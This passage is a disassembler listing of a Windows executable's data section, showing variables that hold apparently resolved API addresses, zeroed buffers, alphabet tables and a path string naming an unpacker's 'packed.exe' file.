					; sub_405503+125r
dword_427204	dd 77DE8075h		; DATA XREF: sub_403C25+361w
					; sub_403C25+3B1r
dword_427208	dd 77DD7496h		; DATA XREF: sub_403C25+3A2w
dword_42720C	dd 71AB1B7Bh		; DATA XREF: sub_403C25+53Cw
dword_427210	dd 77E686CCh		; DATA XREF: sub_403C25+72w
					; sub_403C25+D2r
dword_427214	dd 71C2498Bh		; DATA XREF: sub_403C25+95Fw
					; sub_403C25+9DBr
dword_427218	dd 77DDAB2Fh		; DATA XREF: sub_403C25+388w
					; sub_403C25+3C9r
dword_42721C	dd 7620E8C3h		; DATA XREF: sub_403C25+83Bw
					; sub_403C25+88Er
dword_427220	dd 77DD23D7h		; DATA XREF: sub_403C25+2A5w
					; sub_403C25+2D6r
dword_427224	dd 76214750h		; DATA XREF: sub_403C25+82Ew
					; sub_403C25+886r ...
dword_427228	dd 77E6D75Bh		; DATA XREF: sub_403C25+B3w
dword_42722C	dd 7620BD61h		; DATA XREF: sub_403C25+848w
					; sub_403C25+896r ...
dword_427230	dd 71AB60C9h		; DATA XREF: sub_403C25+52Fw
					; sub_403C25+6B2r
dword_427234	dd 77EBA6E9h		; DATA XREF: sub_403C25+58w
					; sub_403C25+CAr ...
dword_427238	dd 76D62A58h		; DATA XREF: sub_403C25+916w
					; sub_405CA0+11Ar
dword_42723C	dd 76F36EAAh		; DATA XREF: sub_403C25+A66w
					; sub_403C25+A6Dr ...
dword_427240	dd 77E802FCh		; DATA XREF: sub_403C25+A6w
					; sub_403C25+F2r
dword_427244	dd 77C75455h		; DATA XREF: sub_403C25+462w
					; sub_403C25+4B5r
dword_427248	dd 71AB12A7h		; DATA XREF: sub_40362D+20r
					; sub_403C25+5D8w
dword_42724C	dd 71C574FAh		; DATA XREF: sub_403C25+9A0w
					; sub_403C25+A08r
dword_427250	dd 71AB1746h		; DATA XREF: sub_403C25+5CBw
					; sub_403C25+736r
dword_427254	dd 71B28D0Dh		; DATA XREF: sub_4011DC+9Ar
					; sub_403C25+B21w
dword_427258	dd 762211EFh		; DATA XREF: sub_403C25+7E0w
					; sub_403C25+84Fr ...
dword_42725C	dd 77D902E3h		; DATA XREF: sub_403C25+1B3w
					; sub_404CC0+15r
dword_427260	dd 71C2FA86h		; DATA XREF: sub_403C25+979w
					; sub_403C25+9F0r
dword_427264	dd 77DE1291h		; DATA XREF: sub_403C25+36Ew
					; sub_403C25+3B9r
dword_427268	dd 77E2C1B3h		; DATA XREF: sub_403C25+37Bw
					; sub_403C25+3C1r
dword_42726C	dd 73B81E3Bh		; DATA XREF: sub_403C25+C56w
					; sub_403C25+C5Dr
dword_427270	dd 71ABF628h		; DATA XREF: sub_403C25+68Ew
dword_427274	dd 71AB1836h		; DATA XREF: sub_403C25+563w
					; sub_403C25+6D6r ...
dword_427278	dd 77C72889h		; DATA XREF: sub_403C25+496w
dword_42727C	dd 71C453F8h		; DATA XREF: sub_403C25+9C7w
					; sub_403C25+A20r
dword_427280	dd 77DD5C55h		; DATA XREF: sub_403C25+2B2w
					; sub_403C25+2DEr ...
dword_427284	dd 77E96645h		; DATA XREF: sub_403C25+7Fw
					; sub_403C25+DAr
dword_427288	dd 77428B97h		; DATA XREF: sub_403C25+B6Ew
					; sub_403C25+B75r ...
dword_42728C	dd 71AB41DAh		; DATA XREF: sub_403C25+515w
					; sub_403C25+695r ...
dword_427290	dd 762059A3h		; DATA XREF: sub_403C25+807w
					; sub_403C25+872r
dword_427294	dd 71C4A1B4h		; DATA XREF: sub_403C25+986w
					; sub_403C25+9F8r
dword_427298	dd 1F7CD214h		; DATA XREF: sub_403C25+BDFw
					; sub_403C25+C10r
dword_42729C	dd 77D4456Bh		; DATA XREF: sub_403C25+22Dw
dword_4272A0	dd 76D629BBh		; DATA XREF: sub_403C25+8FCw
					; sub_403C25+910r ...
dword_4272A4	dd 1F7B9D96h		; DATA XREF: sub_403C25+BF9w
dword_4272A8	dd 71AB1740h		; DATA XREF: sub_403C25+556w
					; sub_403C25+6CAr ...
dword_4272AC	dd 7620AFB6h		; DATA XREF: sub_403C25+821w
					; sub_403C25+855r
dword_4272B0	dd 77D5C13Ah		; DATA XREF: sub_403C25+220w
					; sub_403C25+23Cr
dword_4272B4	dd 77D45B19h		; DATA XREF: sub_403C25+172w
					; sub_403C25+1C2r
dword_4272B8	dd 71AB157Eh		; DATA XREF: sub_403C25+65Aw
					; sub_403C25+786r ...
dword_4272BC	dd 71AB3E5Dh		; DATA XREF: sub_401000+5Ar
					; sub_4014EF+1F3r ...
dword_4272C0	dd 71AB14DCh		; DATA XREF: sub_403C25+549w
					; sub_403C25+6BEr
dword_4272C4	dd 0CC0004h		; DATA XREF: sub_403C25+8BDw
					; sub_403C25:loc_404500w ...
dword_4272C8	dd 77DD590Bh		; DATA XREF: sub_403C25+28Bw
					; sub_403C25+2C6r ...
dword_4272CC	dd 71ABD755h		; DATA XREF: sub_403C25+681w
					; sub_403C25+79Er ...
dword_4272D0	dd 77DF7311h		; DATA XREF: sub_403C25+30Fw
					; sub_403C25+323r ...
dword_4272D4	dd 77DDA2AFh		; DATA XREF: sub_403C25+395w
					; sub_403C25+3D1r
dword_4272D8	dd 1F7CD927h		; DATA XREF: sub_403C25+BD2w
					; sub_403C25+C08r
dword_4272DC	dd 76206853h		; DATA XREF: sub_403C25+7FAw
					; sub_403C25+86Ar
dword_4272E0	dd 77D4932Ch		; DATA XREF: sub_403C25+206w
					; sub_403C25+227r
dword_4272E4	dd 77D5E310h		; DATA XREF: sub_403C25+18Cw
					; sub_403C25+1D2r
dword_4272E8	dd 76206B7Fh		; DATA XREF: sub_403C25+814w
					; sub_403C25+87Ar
dword_4272EC	dd 71AB1444h		; DATA XREF: sub_403C25+606w
					; sub_403C25+756r
dword_4272F0	dd 77DD189Ah		; DATA XREF: sub_403C25+2BFw
					; sub_407C5D+5Ar ...
dword_4272F4	dd 71AB3F8Dh		; DATA XREF: sub_403C25+64Dw
					; sub_403C25+77Er ...
dword_4272F8	dd 77DD5D20h		; DATA XREF: sub_403C25+302w
					; sub_403C25+316r ...
dword_4272FC	dd 71AB1890h		; DATA XREF: sub_403711+82r
					; sub_403C25+626w ...
dword_427300	dd 77C76B34h		; DATA XREF: sub_403C25+42Ew
					; sub_403C25+490r
dword_427304	dd 77D5E38Ch		; DATA XREF: sub_403C25+199w
					; sub_403C25+1DAr
dword_427308	dd 77DDA20Bh		; DATA XREF: sub_403C25+347w
					; sub_403C25+39Cr
dword_42730C	dd 76F36EEBh		; DATA XREF: sub_403C25+A73w
dword_427310	dd 71AB12A7h		; DATA XREF: sub_401DE8+7r
					; sub_40362D+2Br ...
dword_427314	dd 71AB1746h		; DATA XREF: sub_401000+37r
					; sub_401294+1Er ...
dword_427318	dd 77EBA595h		; DATA XREF: sub_403C25+4Bw
					; sub_403C25+C2r ...
dword_42731C	dd 77C7531Dh		; DATA XREF: sub_403C25+455w
					; sub_403C25+4ADr
dword_427320	dd 77D4BDCAh		; DATA XREF: sub_403C25+165w
					; sub_403C25+1BAr ...
dword_427324	dd 71C3516Ah		; DATA XREF: sub_403C25+9E1w
dword_427328	dd 71AB32CAh		; DATA XREF: sub_403C25+667w
					; sub_403C25+78Er ...
dword_42732C	dd 71AB5690h		; DATA XREF: sub_401000+74r
					; sub_401000+E5r ...
dword_427330	dd 1F7CB8F8h		; DATA XREF: sub_403C25+BECw
					; sub_403C25+C18r
dword_427334	dd 77EBB1E7h		; DATA XREF: sub_403C25+3Ew
					; sub_403C25+BAr ...
dword_427338	dd 77DD59F0h		; DATA XREF: sub_403C25+298w
					; sub_403C25+2CEr ...
dword_42733C	dd 71AB5DE2h		; DATA XREF: sub_403C25+633w
					; sub_403C25+76Er
dword_427340	dd 71AB3ECEh		; DATA XREF: sub_403C25+619w
					; sub_403C25+75Er
dword_427344	dd 73B81B0Fh		; DATA XREF: sub_403C25+C63w
dword_427348	dd 76204E4Dh		; DATA XREF: sub_403C25+85Bw
					; sub_407CCD+4F8r
dword_42734C	dd 0			; DATA XREF: sub_403C25+112w
dword_427350	dd 1F7D886Ah		; DATA XREF: sub_403C25+BB8w
					; sub_403C25+BF3r
dword_427354	dd 71AB12F8h		; DATA XREF: sub_401000+27r
					; sub_4014EF+1B4r ...
dword_427358	dd 77C76551h		; DATA XREF: sub_403C25+43Bw
					; sub_403C25+49Dr
dword_42735C	dd 77C729E2h		; DATA XREF: sub_403C25+47Cw
					; sub_403C25+4C5r
dword_427360	dd 77C7212Fh		; DATA XREF: sub_403C25+448w
					; sub_403C25+4A5r
dword_427364	dd 71AB1AF4h		; DATA XREF: sub_401000+C1r
					; sub_4014EF+20Ar ...
dword_427368	dd 77D5E303h		; DATA XREF: sub_403C25+1A6w
					; sub_403C25+1E2r
dword_42736C	dd 71C4576Ch		; DATA XREF: sub_403C25+9D4w
					; sub_403C25+A28r
dword_427370	dd 77D4702Fh		; DATA XREF: sub_403C25+158w
					; sub_403C25+1ADr ...
dword_427374	dd 77E6C0E3h		; DATA XREF: sub_403C25+8Cw
					; sub_403C25+E2r
dword_427378	dd 71AB1ED3h		; DATA XREF: sub_403C25+5F2w
					; sub_403C25+746r ...
dword_42737C	dd 71B2A381h		; DATA XREF: sub_403C25+B14w
					; sub_403C25+B30r
dword_427380	dd 77DDA595h		; DATA XREF: sub_403C25+31Cw
					; sub_40DAF6+55r
dword_427384	dd 77DD22EAh		; DATA XREF: sub_403C25+27Ew
					; sub_403C25+2B9r
dword_427388	dd 773F97B0h		; DATA XREF: sub_403C25+B7Bw
dword_42738C	dd 76D67A29h		; DATA XREF: sub_403C25+ABDw
dword_427390	dd 76D674FAh		; DATA XREF: sub_403C25+AB0w
					; sub_403C25+AB7r
dword_427394	dd 71AB3C22h		; DATA XREF: sub_401000+46r
					; sub_4014EF+179r ...
dword_427398	dd 71AB2BBFh		; DATA XREF: sub_403C25+674w
					; sub_403C25+796r ...
dword_42739C	dd 1F7BA3A9h		; DATA XREF: sub_403C25+BC5w
					; sub_403C25+C00r
dword_4273A0	dd 71AB401Ch		; DATA XREF: sub_403430+1Fr
					; sub_4037AE+86r ...
dword_4273A4	dd 71C214BAh		; DATA XREF: sub_403C25+993w
					; sub_403C25+A00r
dword_4273A8	dd 71AB868Dh		; DATA XREF: sub_403C25+640w
					; sub_403C25+776r
dword_4273AC	dd 71AB1A6Dh		; DATA XREF: sub_401000+ECr
					; sub_4014EF:loc_401731r ...
dword_4273B0	dd 71AB155Ah		; DATA XREF: sub_403711+4Cr
					; sub_403C25+57Dw ...
dword_4273B4	dd 71B22C25h		; DATA XREF: sub_4010F9+B0r
					; sub_4010F9+C8r ...
dword_4273B8	dd 71AB5A01h		; DATA XREF: sub_403C25+522w
					; sub_403C25+6A6r ...
dword_4273BC	dd 71B2ACCBh		; DATA XREF: sub_403C25+AFAw
					; sub_403C25+B1Br
dword_4273C0	dd 77E78C17h		; DATA XREF: sub_403C25+31w
					; sub_403C25+ADr ...
dword_4273C4	dd 77D49A11h		; DATA XREF: sub_403C25+17Fw
					; sub_403C25+1CAr
		dd 0
dword_4273CC	dd 76D62A37h		; DATA XREF: sub_403C25+909w
					; sub_403C25+91Dr ...
dword_4273D0	dd 77E6CBF9h		; DATA XREF: sub_403C25+99w
					; sub_403C25+EAr ...
dword_4273D4	dd 0			; DATA XREF: sub_403C25:loc_403D23w
					; sub_403C25+12Bw
dword_4273D8	dd 0			; DATA XREF: sub_403C25+126w
dword_4273DC	dd 0			; DATA XREF: sub_403C25:loc_403E13w
					; sub_403C25:loc_403E7Aw
dword_4273E0	dd 0			; DATA XREF: sub_403C25+250w
dword_4273E4	dd 0			; DATA XREF: sub_403C25:loc_403F0Fw
					; sub_403C25:loc_403F54w ...
dword_4273E8	dd 0			; DATA XREF: sub_403C25+400w
dword_4273EC	dd 0			; DATA XREF: sub_403C25:loc_40410Bw
dword_4273F0	dd 0			; DATA XREF: sub_403C25+4E1w
dword_4273F4	dd 0			; DATA XREF: sub_403C25:loc_4043DCw
dword_4273F8	dd 0			; DATA XREF: sub_403C25+7B2w
dword_4273FC	dd 0			; DATA XREF: sub_403C25:loc_4044C7w
					; sub_403C25+8D1w ...
dword_427400	dd 0			; DATA XREF: sub_403C25+8CCw
dword_427404	dd 0			; DATA XREF: sub_403C25:loc_40455Bw
					; sub_40997B:loc_40C659r
dword_427408	dd 0			; DATA XREF: sub_403C25+931w
dword_42740C	dd 0			; DATA XREF: sub_403C25:loc_404666w
dword_427410	dd 0			; DATA XREF: sub_403C25+A3Cw
dword_427414	dd 0			; DATA XREF: sub_403C25:loc_4046B0w
dword_427418	dd 0			; DATA XREF: sub_403C25+A86w
dword_42741C	dd 0			; DATA XREF: sub_403C25:loc_4046FAw
dword_427420	dd 0			; DATA XREF: sub_403C25+AD0w
dword_427424	dd 0			; DATA XREF: sub_403C25:loc_40476Ew
dword_427428	dd 0			; DATA XREF: sub_403C25+B44w
dword_42742C	dd 0			; DATA XREF: sub_403C25:loc_4047B8w
dword_427430	dd 0			; DATA XREF: sub_403C25+B8Ew
dword_427434	dd 0			; DATA XREF: sub_403C25:loc_404856w
dword_427438	dd 0			; DATA XREF: sub_403C25+C2Cw
dword_42743C	dd 0			; DATA XREF: sub_403C25:loc_4048A0w
dword_427440	dd 0			; DATA XREF: sub_403C25+C76w
dword_427444	dd 81h dup(0)		; DATA XREF: sub_404B10+6Ao
dword_427648	dd 5 dup(0)		; DATA XREF: sub_404F3A+32o
dword_42765C	dd 0Fh dup(0)		; DATA XREF: sub_4053E4+47o
byte_427698	db 0			; DATA XREF: sub_4058B9+1D3w
					; sub_4058B9+2D2o
		align 2
word_42769A	dw 0			; DATA XREF: sub_4058B9+1E3w
word_42769C	dw 0			; DATA XREF: sub_4058B9+1E9w
word_42769E	dw 0			; DATA XREF: sub_4058B9+1F0w
byte_4276A0	db 0			; DATA XREF: sub_4058B9+1F7w
byte_4276A1	db 0			; DATA XREF: sub_4058B9+1FEw
word_4276A2	dw 0			; DATA XREF: sub_4058B9+204w
dword_4276A4	dd 0			; DATA XREF: sub_4058B9+234w
					; sub_4058B9+250w
dword_4276A8	dd 0			; DATA XREF: sub_4058B9+258w
byte_4276AC	db 0			; DATA XREF: sub_4058B9+26Aw
byte_4276AD	db 0			; DATA XREF: sub_4058B9+27Dw
word_4276AE	dw 0			; DATA XREF: sub_4058B9+295w
word_4276B0	dw 0			; DATA XREF: sub_4058B9+2A4w
word_4276B2	dw 0			; DATA XREF: sub_4058B9+29Cw
dword_4276B4	dd 101h	dup(0)		; DATA XREF: sub_4058B9+2B9o
dword_427AB8	dd 80h dup(0)		; DATA XREF: sub_406DA5+DFo
					; sub_407067+193o ...
byte_427CB8	db 0			; DATA XREF: sub_407067+1A1w
					; sub_407067+27Ao
		align 2
word_427CBA	dw 0			; DATA XREF: sub_407067+1AEw
word_427CBC	dw 0			; DATA XREF: sub_407067+1B8w
word_427CBE	dw 0			; DATA XREF: sub_407067+1C1w
byte_427CC0	db 0			; DATA XREF: sub_407067+1C8w
byte_427CC1	db 0			; DATA XREF: sub_407067+1CFw
word_427CC2	dw 0			; DATA XREF: sub_407067+1D6w
dword_427CC4	dd 0			; DATA XREF: sub_407067+1E3w
dword_427CC8	dd 0			; DATA XREF: sub_407067+1EBw
word_427CCC	dw 0			; DATA XREF: sub_407067+244w
word_427CCE	dw 0			; DATA XREF: sub_407067+22Cw
word_427CD0	dw 0			; DATA XREF: sub_407067+256w
word_427CD2	dw 0			; DATA XREF: sub_407067+1F7w
dword_427CD4	dd 101h	dup(0)		; DATA XREF: sub_407067+265o
dword_4280D8	dd 0			; DATA XREF: sub_406DA5+78r
					; sub_407067:loc_40719Dr ...
		dd 3 dup(0)
byte_4280E8	db 0			; DATA XREF: sub_407550+241o
					; sub_407550+250w ...
byte_4280E9	db 0			; DATA XREF: sub_407550+264w
word_4280EA	dw 0			; DATA XREF: sub_407550+295w
word_4280EC	dw 0			; DATA XREF: sub_407550+27Cw
					; sub_407550:loc_407922w
word_4280EE	dw 0			; DATA XREF: sub_407550+29Bw
byte_4280F0	db 0			; DATA XREF: sub_407550+288w
byte_4280F1	db 0			; DATA XREF: sub_407550+25Dw
word_4280F2	dw 0			; DATA XREF: sub_407550+3F2w
					; sub_407550+41Cw
dword_4280F4	dd 0			; DATA XREF: sub_407550:loc_407819w
					; sub_407550+39Ar
dword_4280F8	dd 0			; DATA XREF: sub_407550+2D6w
word_4280FC	dw 0			; DATA XREF: sub_407550+394w
					; sub_407550+3E8o
word_4280FE	dw 0			; DATA XREF: sub_407550+335w
					; sub_407550+35Ar ...
dword_428100	dd 0			; DATA XREF: sub_407550+30Cw
					; sub_407550+3D9w
dword_428104	dd 0			; DATA XREF: sub_407550+328w
					; sub_407550+3ABw ...
byte_428108	db 0			; DATA XREF: sub_407550+311r
					; sub_407550+31Fw
byte_428109	db 0			; DATA XREF: sub_407550+2DBw
					; sub_407550+3A4w ...
word_42810A	dw 0			; DATA XREF: sub_407550+2E9w
word_42810C	dw 0			; DATA XREF: sub_407550+3F9w
					; sub_407550+42Aw
word_42810E	dw 0			; DATA XREF: sub_407550+32Ew
word_428110	dw 0			; DATA XREF: sub_407550+360w
					; sub_407550+432o
word_428112	dw 0			; DATA XREF: sub_407550+36Fw
					; sub_407550+409w
dword_428114	dd 0			; DATA XREF: sub_407550+369w
		align 10h
dword_428120	dd 0			; DATA XREF: sub_407550+39Fw
					; sub_407550+417o
dword_428124	dd 0			; DATA XREF: sub_407550+33Bw
byte_428128	db 0			; DATA XREF: sub_407550+341w
byte_428129	db 0			; DATA XREF: sub_407550+347w
word_42812A	dw 0			; DATA XREF: sub_407550+354w
dword_42812C	dd 7 dup(0)		; DATA XREF: sub_407550+3EDo
dword_428148	dd 0			; DATA XREF: sub_407550+30w
					; sub_407550+43Br
dword_42814C	dd 100h	dup(0)		; DATA XREF: sub_407550+1C3o
					; sub_407550+47Eo
dword_42854C	dd 2BDh	dup(0)		; DATA XREF: sub_407A4E+1Do
					; sub_407AEEo ...
		db 2 dup(0)
word_429042	dw 0			; DATA XREF: .packed:0041C79Do
		dd 0D42h dup(0)
dword_42C54C	dd 0			; DATA XREF: sub_407A4E+13o
					; sub_407AEE+Eo ...
dword_42C550	dd 2 dup(0)		; DATA XREF: sub_4081F8+C8o
dword_42C558	dd 0			; DATA XREF: sub_4079D6+25o
					; sub_409034+41Bo ...
		dd 5 dup(0)
dword_42C570	dd 0			; DATA XREF: sub_40997B+A89r
		dd 2D9h	dup(0)
dword_42D0D8	dd 0			; DATA XREF: sub_4037AE+A8r
					; sub_4079D6+6Co ...
		dd 7Fh dup(0)
dword_42D2D8	dd 0			; DATA XREF: sub_40E1D6+41w
					; sub_40E311+40w ...
dword_42D2DC	dd 0			; DATA XREF: sub_4037AE:loc_4037F5r
					; sub_4037AE+7Cr ...
dword_42D2E0	dd 0			; DATA XREF: sub_40E1D6+52w
					; sub_40E311+3Ar ...
dword_42D2E4	dd 0			; DATA XREF: sub_4081F8+Cr
					; sub_4095BB+7Ew ...
dword_42D2E8	dd 0			; DATA XREF: sub_40E311+75r
					; sub_40E4F2+2Aw
dword_42D2EC	dd 0			; DATA XREF: sub_4034A7+141w
					; sub_4039C6+153w ...
byte_42D2F0	db 0			; DATA XREF: sub_4095BB+C4o
					; sub_40E1D6+5Fw ...
		align 4
		dd 0B57h dup(0)
dword_430050	dd 3 dup(0)		; DATA XREF: .packed:0041C778o
dword_43005C	dd 4002h dup(0)		; DATA XREF: .packed:off_41C19Co
		db 0
		align 4
		dd 15BAh dup(0)
dword_445750	dd 12A43h dup(0)	; DATA XREF: .packed:off_41E030o
dword_49005C	dd 937Eh dup(0)		; DATA XREF: .packed:off_41C774o
		db 0
byte_4B4E55	db 3 dup(0)		; DATA XREF: .packed:off_421ED0o
		dd 14A0h dup(0)
dword_4BA0D8	dd 1Bh			; DATA XREF: sub_409034+3Aw
					; sub_40997B:loc_40D839r ...
		align 10h
dword_4BA0E0	dd 0			; DATA XREF: sub_409034:loc_4094CDo
dword_4BA0E4	dd 20h dup(0)		; DATA XREF: sub_409034+431o
					; sub_409034+4EAo ...
dword_4BA164	dd 10h dup(0)		; DATA XREF: sub_409034+448o
					; sub_40997B+8B4o
dword_4BA1A4	dd 24h dup(0)		; DATA XREF: sub_409034+45Fo
dword_4BA234	dd 0			; DATA XREF: sub_409034+453w
					; sub_409034+501w ...
dword_4BA238	dd 0			; DATA XREF: sub_409034+472w
		dd 3 dup(0)
byte_4BA248	db 0			; DATA XREF: sub_409802+28r
					; sub_409802+30o
		align 4
dword_4BA24C	dd 0			; DATA XREF: sub_409034+49Ew
					; sub_409034+4B5r ...
dword_4BA250	dd 0			; DATA XREF: sub_409034+436w
					; sub_40997B+855r
		align 10h
dword_4BA260	dd 0			; DATA XREF: sub_40EF31+Aw
		align 8
dword_4BA268	dd 0			; DATA XREF: sub_4101B6+5Er
					; sub_4101B6+A4w
		align 10h
word_4BA270	dw 0			; DATA XREF: sub_4101B6+55r
					; sub_4101B6+9Ao
word_4BA272	dw 0			; DATA XREF: sub_4101B6+48r
		db 2 dup(0)
word_4BA276	dw 0			; DATA XREF: sub_4101B6+3Br
word_4BA278	dw 0			; DATA XREF: sub_4101B6+2Er
word_4BA27A	dw 0			; DATA XREF: sub_4101B6+21r
		align 10h
dword_4BA280	dd 0			; DATA XREF: sub_4103EB+3Br
					; sub_4103EB+91w
dword_4BA284	dd 0			; DATA XREF: sub_40F8BC+1B9w
					; sub_40FD42+80w ...
dword_4BA288	dd 0			; DATA XREF: sub_414EFB:loc_414F95w
					; sub_4151BF+A5w ...
dword_4BA28C	dd 0			; DATA XREF: sub_417827+13Ar
dword_4BA290	dd 0A28h		; DATA XREF: sub_410B5C+52w
dword_4BA294	dd 501h			; DATA XREF: sub_410B5C+49w
dword_4BA298	dd 5			; DATA XREF: sub_410B5C+3Ew
dword_4BA29C	dd 1			; DATA XREF: sub_410B5C+30w
dword_4BA2A0	dd 1			; DATA XREF: sub_409034:loc_40931Dr
					; sub_41639F+91w
dword_4BA2A4	dd 350B20h		; DATA XREF: sub_409034+2F2r
					; sub_409034+312r ...
		dd 0
dword_4BA2AC	dd 350B48h		; DATA XREF: sub_4162E6+44w
					; sub_418DD0+9r ...
dword_4BA2B0	dd 0			; DATA XREF: sub_419489+36r
dword_4BA2B4	dd 0			; DATA XREF: sub_418DD0+16r
					; sub_41919E+4r ...
		dd 0
off_4BA2BC	dd offset aCM_unpackerPac ; DATA XREF: sub_41639F+2Ew
					; "C:\\m_unpacker\\packed.exe"
		dd 0
byte_4BA2C4	db 0			; DATA XREF: sub_41085B+2Dw
					; sub_416A9B+5r
		align 4
dword_4BA2C8	dd 0			; DATA XREF: sub_41085B+27w
dword_4BA2CC	dd 0			; DATA XREF: sub_41085B+4r
					; sub_41085B+8Bw
dword_4BA2D0	dd 0			; DATA XREF: sub_410B5C+84w
					; sub_4162E6:loc_4162F8r ...
		align 8
dword_4BA2D8	dd 0			; DATA XREF: sub_40E41E+16o
					; sub_40E43D+19o ...
dword_4BA2DC	dd 0			; DATA XREF: sub_40E3D1+3Do
					; sub_40E882r ...
dword_4BA2E0	dd 0			; DATA XREF: sub_4115BAr
dword_4BA2E4	dd 0			; DATA XREF: sub_412488+4Bw
					; sub_4125A1+2Dw ...
dword_4BA2E8	dd 0			; DATA XREF: sub_4133D3+11r
					; sub_4134D7+1Ar ...
byte_4BA2EC	db 0			; DATA XREF: sub_4133D3+3r
					; sub_4133D3+98r ...
		align 10h
dword_4BA2F0	dd 0			; DATA XREF: sub_4134D7+11r
					; sub_4135B5+21w ...
byte_4BA2F4	db 0			; DATA XREF: sub_4135B5+51w
		align 4
dword_4BA2F8	dd 0			; DATA XREF: sub_4137AB+4Er
					; sub_413B86+3Ar ...
dword_4BA2FC	dd 0			; DATA XREF: sub_4137AB+5Cr
					; sub_413B86+43r ...
dword_4BA300	dd 0			; DATA XREF: sub_40F1BA+7Ar
					; sub_413952+5r
dword_4BA304	dd 0			; DATA XREF: sub_413F5C+29r
dword_4BA308	dd 1			; DATA XREF: sub_4158A4+28r
					; sub_4158A4+4Cw ...
		dd 2 dup(0)
dword_4BA314	dd 0			; DATA XREF: sub_410320+4r
					; sub_410320+9Dr ...
		dd 3 dup(0)
dword_4BA324	dd 0			; DATA XREF: sub_4158A4+C0r
					; sub_415E39+3Ar ...
		dd 0
dword_4BA32C	dd 1			; DATA XREF: sub_415CA0:loc_415E1Br
					; sub_415E39+4w ...
dword_4BA330	dd 0			; DATA XREF: sub_41610A+3Ar
					; sub_41610A+46w ...
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_41639F:loc_4163B6o
					; .packed:off_4BA2BCo
		align 10h
		dd 3Ah dup(0)
dword_4BA438	dd 1			; DATA XREF: sub_4165EC+2r
					; sub_4165EC+23w ...
dword_4BA43C	dd 0			; DATA XREF: sub_416800+21r
dword_4BA440	dd 0			; DATA XREF: sub_4155FA+154w
					; sub_41698Cw
		align 8
word_4BA448	dw 0			; DATA XREF: sub_4170E3+1Ao
					; sub_4170E3+46r
byte_4BA44A	db 0			; DATA XREF: sub_4170E3+39r
		align 4
dword_4BA44C	dd 7 dup(0)		; DATA XREF: sub_4170E3+52o
dword_4BA468	dd 0			; DATA XREF: sub_4170E3+40w
					; sub_4170E3+5Co
dword_4BA46C	dd 0			; DATA XREF: sub_4170E3+4Dw
dword_4BA470	dd 0			; DATA XREF: sub_4170E3+31w
dword_4BA474	dd 0			; DATA XREF: sub_4170E3+52w
dword_4BA478	dd 77C26E79h		; DATA XREF: sub_417206:loc_417229r
					; sub_417206+38r ...
dword_4BA47C	dd 1			; DATA XREF: sub_41745D+26r
					; sub_41745D:loc_4174C7w
dword_4BA480	dd 0			; DATA XREF: sub_4155FA+7r
		align 8
dword_4BA488	dd 0			; DATA XREF: sub_417AF5+11w
					; sub_417AF5+63w ...
		align 10h
dword_4BA490	dd 0			; DATA XREF: sub_417AF5+33o
					; sub_417AF5+46r
dword_4BA494	dd 10h dup(0)		; DATA XREF: sub_417AF5+C1o
word_4BA4D4	dw 0			; DATA XREF: sub_417D53+A8r
word_4BA4D6	dw 0			; DATA XREF: sub_417AF5+54r
					; sub_417D53+DBr ...
word_4BA4D8	dw 0			; DATA XREF: sub_417D53+CAr
word_4BA4DA	dw 0			; DATA XREF: sub_417D53+D3r
					; sub_417D53:loc_417E45r
word_4BA4DC	dw 0			; DATA XREF: sub_417D53+C0r
word_4BA4DE	dw 0			; DATA XREF: sub_417D53+B8r
word_4BA4E0	dw 0			; DATA XREF: sub_417D53+B0r
word_4BA4E2	dw 0			; DATA XREF: sub_417D53+9Er
dword_4BA4E4	dd 0			; DATA XREF: sub_417AF5+4Br
dword_4BA4E8	dd 10h dup(0)		; DATA XREF: sub_417AF5+FBo
word_4BA528	dw 0			; DATA XREF: sub_417D53+46r
word_4BA52A	dw 0			; DATA XREF: sub_417AF5:loc_417B6Cr
					; sub_417D53+78r ...
word_4BA52C	dw 0			; DATA XREF: sub_417D53+67r
word_4BA52E	dw 0			; DATA XREF: sub_417D53+70r
					; sub_417D53:loc_417DD7r
word_4BA530	dw 0			; DATA XREF: sub_417D53+5Dr
word_4BA532	dw 0			; DATA XREF: sub_417D53+55r
word_4BA534	dw 0			; DATA XREF: sub_417D53+4Dr
word_4BA536	dw 0			; DATA XREF: sub_417D53+3Er
dword_4BA538	dd 0			; DATA XREF: sub_417AF5+80r
dword_4BA53C	dd 0			; DATA XREF: sub_417AF5+132r
					; sub_417AF5:loc_417C41r ...
dword_4BA540	dd 0			; DATA XREF: sub_417AE0r sub_417AE0+Ew
dword_4BA544	dd 0			; DATA XREF: sub_418081+3r
					; sub_418081+2Ew ...
dword_4BA548	dd 0			; DATA XREF: sub_418081+43w
					; sub_418081:loc_4180D0r
dword_4BA54C	dd 0			; DATA XREF: sub_418081+4Aw
					; sub_418081+60r
dword_4BA550	dd 0			; DATA XREF: sub_418B18:loc_418B7Fr
					; sub_418B18+6Do
dword_4BA554	dd 0			; DATA XREF: sub_418B18:loc_418B56r
					; sub_418B18+44o
dword_4BA558	dd 0			; DATA XREF: sub_418B18:loc_418B49r
					; sub_418B18+37o
dword_4BA55C	dd 0			; DATA XREF: sub_418B18:loc_418B63r
					; sub_418B18+51o
		dd 0
dword_4BA564	dd 0			; DATA XREF: sub_417827+3Fr
dword_4BA568	dd 0			; DATA XREF: sub_41920C+28r
					; sub_41920C+48w ...
byte_4BA56C	db 1			; DATA XREF: sub_40279Fr sub_40279F+9w
		align 10h
dword_4BA570	dd 351110h		; DATA XREF: sub_415079:loc_41508Ar
					; sub_41576A+14r ...
		align 10h
dword_4BA580	dd 400h	dup(0)		; DATA XREF: .packed:off_424658o
					; .packed:00424660o
dword_4BB580	dd 200h			; DATA XREF: sub_415079+9r
					; sub_415079+56r ...
dword_4BB584	dd 4E4h			; DATA XREF: sub_415CA0+14r
					; sub_415CA0+65w ...
		align 10h
dword_4BB590	dd 3 dup(0)		; DATA XREF: sub_415CA0+123o
					; sub_415CA0+171o ...
dword_4BB59C	dd 0			; DATA XREF: sub_415CA0+108w
					; sub_415CA0+15Dw ...
byte_4BB5A0	db 0			; DATA XREF: sub_415EDF:loc_415FEBw
					; sub_415EDF:loc_416008w ...
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
